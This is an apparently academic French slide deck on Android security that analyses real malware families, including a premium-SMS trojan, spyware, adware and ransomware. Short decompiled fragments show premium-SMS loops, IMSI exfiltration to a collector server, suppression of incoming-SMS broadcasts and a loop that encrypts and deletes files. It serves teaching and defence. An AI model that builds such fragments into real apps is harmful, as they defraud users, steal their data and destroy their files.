(ou comment programmer un malware (et gagner de l'argent))
Jean-Francois Lalande - 25 Mars 2015
Travail réalisé en collaboration avec:
Objectifs visés
La présentation abordera les points suivants:
Sommaire
Nom | Version | Date |
---|---|---|
Android | 1.0 | 2008 |
Petit Four | 1.1 | 2009 |
Cupcake | 1.5 | 2009 |
Donut | 1.6 | 2009 |
Gingerbread | 2.3 | 2010 |
Honeycomb | 3.0 | 2011 |
Ice Cream Sandwich | 4.0.1 | 2011 |
Jelly Bean | 4.1 | 2012 |
KitKat | 4.4 | 2013 |
Lollipop | 5.0 | 2014 |
Quelques chiffres marquants:
Android est en fait un système de la famille des Linux, pour une fois sans les outils GNU. L'OS s'appuie sur:
Anatomie d'un déploiement:
Activités: une classe représentant un écran de l'application.
public class Main extends Activity { public void onCreate(Bundle savedInstanceState) { setContentView(R.layout.acceuil); }
Une tâche de fond, exécutée dans le processus de l'application.
public class MonService extends Service { public int onStartCommand(Intent intent, int flags, int startId) { // TODO return Service.START_NOT_STICKY; }
Un message, permettant de déléguer une action à une application tierce.
Intent intent = new Intent("andro.jf.nom_du_message"); startActivity(intent); startService(intent);
Permet de recevoir des Intent dans la méthode onReceive()
La vie d'une application est particulière:
Par exemple, télécharger un fichier:
private class DownloadTask extends AsyncTask<String, Integer, String> { protected String doInBackground(String... sUrl) { try { URL url = new URL(sUrl[0]); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.connect(); ...
Pour le cas d'une application malveillante:
L'architecture d'Android repose sur:
Isolation des processus Unix, à partir des UIDs:
Permissions projetées grâce aux groupes UNIX:
Dans AndroidManifest.xml:
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
Avec la possibilité de définir des:
Certaines permissions sont particulièrement sensibles, d'un point de vue de la sécurité:
Vie privée:
Fuite d'informations:
Intégrité:
Déni de service:
Intrusion:
Les applications sont signées par le développeur:
La signature d'un apk se fait comme suit:
jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore jfl-key.keystore TestSignature-unsigned.apk jfl
Enter Passphrase for keystore:
adding: META-INF/MANIFEST.MF
adding: META-INF/JFL.SF
adding: META-INF/JFL.RSA
signing: res/layout/activity_main.xml
...
signing: res/drawable-xxhdpi/ic_launcher.png
signing: classes.dex
Bonus: Google peut faire du remote kill d'applications !
SELinux s'invite peu à peu dans Android, notamment dans Lollipop. Il s'agit d'inclure un système de contrôle d'accès mandataire, c'est-à-dire dont la politique est imposée par le système et contrôle les interactions entre les processus et les ressources du système.
Notamment, SELinux confine les démons systèmes ce qui réduit les conséquences d'un exploit et au mieux, le prévient.
Pour mettre en oeuvre SELinux, il faut:
Bénéfices avec SELinux:
La sécurité dans Android cherche à:
Cependant, Android ne cherche pas à:
Du coté de l'attaquant, il peut:
Un malware est un programme malveillant qui travaille à l'insu de son utilisateur.
Les buts de ces programmes sont principalement [Faruki15]:
Comment expliquer le succès de ces malware ? [QC13]
Caché dans des applications bénignes, ces malware volent des informations (IMEI, login/password) via des SMS ou internet. Il peut avoir des techniques de propagation.
Code malveillant qui se réplique de téléphone en téléphone.
Permet de contrôler un ensemble de téléphones zombis.
Surveille l'utilisateur à son insu.
Permet d'afficher des publicités plus intrusives (bureau, notification) en fonction du contexte.
Prend en otage le téléphone ou ses ressources en échange d'un paiement.
Principe général pour créer un malware:
Les exemples traités dans la suite:
Gone in 60 seconds: upload contacts, messages, historiques et se désinstalle:
L'application SuiConFo (suivi de consommation téléphonique) a été victime d'un repackaging en com.magicsms.own.
Ce malware envoie des SMS surtaxés en fonction du pays où il s'exécute:
public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); Toast.makeText(this, "ERROR: Android version is not compatible", 1).show(); String str1 = ((TelephonyManager)getSystemService("phone")).getSimCountryIso(); if (str1.equals("fr")) { str2 = "81001"; str3 = "STAR"; } ... while (1) { SmsManager localSmsManager = SmsManager.getDefault(); localSmsManager.sendTextMessage(str2, null, str3, null, null); ... }}
Permissions nécessaires: INTERNET, ACCESS_NETWORK_STATE, RECEIVE_SMS, SEND_SMS, READ_PHONE_STATE, RECEIVE_BOOT_COMPLETED.
Lorsque l'Intent RECEIVE_BOOT_COMPLETED est recu, un service est démarré:
RecorderTask localRecorderTask = new RecorderTask(this.c); this.timer.scheduleAtFixedRate(localRecorderTask, 1000L, 1000L);
La classe RecorderTask est chargée d'envoyer les SMS frauduleux:
this.m = StringUtil.split(connmgr.getX_v, '*'); if ((this.m.length != 1) && (connmgr.ifFirstRun == "1")) { this.sentIntent = PendingIntent.getBroadcast(this.context, 0, new Intent(), 0); this.smsManager.sendTextMessage(this.m[0].toString().trim(), null, this.m[3], this.sentIntent, null);
C'est lorsque l'on lance l'application que l'on récupère les numéros de téléphone:
ConnectWebService(connmgr.collector + "getS3?imsi=" + this.imsi.trim() + "&appid=" + connmgr.getVendorid(), 1); ... invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
Enfin, le malware déclare un receveur de SMS dans son Manifest pour intercepter les confirmations qui suivent l'envoi d'un SMS surtaxé:
<receiver android:name="SMSSrv"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver>
Dans la classe SMSSrv, on observe, entre autre:
public class SMSSrv extends BroadcastReceiver { ... public void onReceive(Context paramContext, Intent paramIntent) { ... abortBroadcast();
Ce dernier appel empêche les autres receveurs de broadcast de recevoir le message.
public static void sendAlive(final Context context) { final long long1 = PreferenceManager.getDefaultSharedPreferences(context). getLong("mobi.dash.sendAlive.lastSendTime", 0L); ... final long n2 = System.currentTimeMillis() - long1; if (n2 >= 0L && n2 < DisplayCheckRebootReceiver.aliveInterval) { n = 0; } ... if (n != 0) { new ServerApi(Ads.getServerManager()).sendAlive( context.getApplicationContext(), AdIdUtils.getUserAdId(context)); PreferenceManager.getDefaultSharedPreferences(context).edit(). putLong("mobi.dash.sendAlive.lastSendTime", System.currentTimeMillis()).commit(); } ... ((AlarmManager)context.getSystemService("alarm")).setRepeating(2, SystemClock.elapsedRealtime() + DisplayCheckRebootReceiver.aliveInterval, DisplayCheckRebootReceiver.aliveInterval, PendingIntent.getBroadcast(context, DisplayCheckRebootReceiver.sendAliveId, intent, 0));
this.wakeLock = ((PowerManager)this.getSystemService("power")).newWakeLock(1, "WakeLock"); this.wakeLock.acquire(); ... ScheduledExecutorService scheduledExecutorService = Executors.newSingleThreadScheduledExecutor(); scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$3, 0, 180, TimeUnit.SECONDS); scheduledExecutorService.scheduleAtFixedRate((Runnable)new MainService$4, 1, 1, TimeUnit.SECONDS); new Thread((Runnable)new MainService$5).start();
for (final String s : this.filesToEncrypt) { aesCrypt.encrypt(s, String.valueOf(s) + ".enc"); new File(s).delete(); }
(Traduction du Russe) Attention Your phone is locked! The device is locked for viewing and distribution (...) DLA unlock you need to pay 260 UAH. 1. Locate the nearest terminal refill. 2. It get MoneXy. 3. Enter 380,982,049,193. 4. Add 260 hryvnia, and then pay. Do not forget to get a receipt! After receipt of payment your device will be unlocked in 24 hours. In case of no PAYMENT YOU WILL LOSE ALL DATA TO ALWAYS HAVE IN YOUR ustroytvo!
Les techniques utilisées sont diverses:
Les permissions sont importantes:
L'analyse de malware est un travail long et fastidieux
Perspectives: automatiser, quantifier, comprendre les comportements malveillants
[QC13] | Mobile Security: A Look Ahead, Q. Li and G. Clark, Security & Privacy, IEEE, vol. 11, no. 1, pp. 78–81, 2013. |
[Faruki15] | Android Security: A Survey of Issues, Malware Penetration and Defenses, P. Faruki, A. Bharmal, V. Laxmi, V. Ganmoor, M. S. Gaur, M. Conti, and M. Rajarajan, , IEEE Commun. Surv. Tutorials, vol. PP, no. 99, pp. 1–27, 2015. |
[Gone60s] | http://contagiominidump.blogspot.fr/2011/09/gone-in-60-seconds-android-spyware.html |
[Foncy] | http://contagiominidump.blogspot.fr/2011/12/fake-suiconfoapk-foncy-android-trojan.html |
[LoveTrap] | http://contagiominidump.blogspot.fr/2011/08/lovetrap-sms-trojan.html |
[SimpleLocker] | http://contagiominidump.blogspot.fr/search/label/simplocker |
[Rado] Radoniaina Andriatsimandefitra. Caractérisation et détection de malware Android basées sur les flux d'information. Cryptography and Security. Supélec, 2014. https://tel.archives-ouvertes.fr/tel-01095994/
>>>>>>>>> Questions ???
Table of Contents | t |
---|---|
Exposé | ESC |
Full screen slides | e |
Presenter View | p |
Source Files | s |
Slide Numbers | n |
Toggle screen blanking | b |
Show/hide slide context | c |
Notes | 2 |
Help | h |
Sécurité Android: exemples de malware | Jean-François Lalande | INSA CVL | Achieved using Landslide | h = help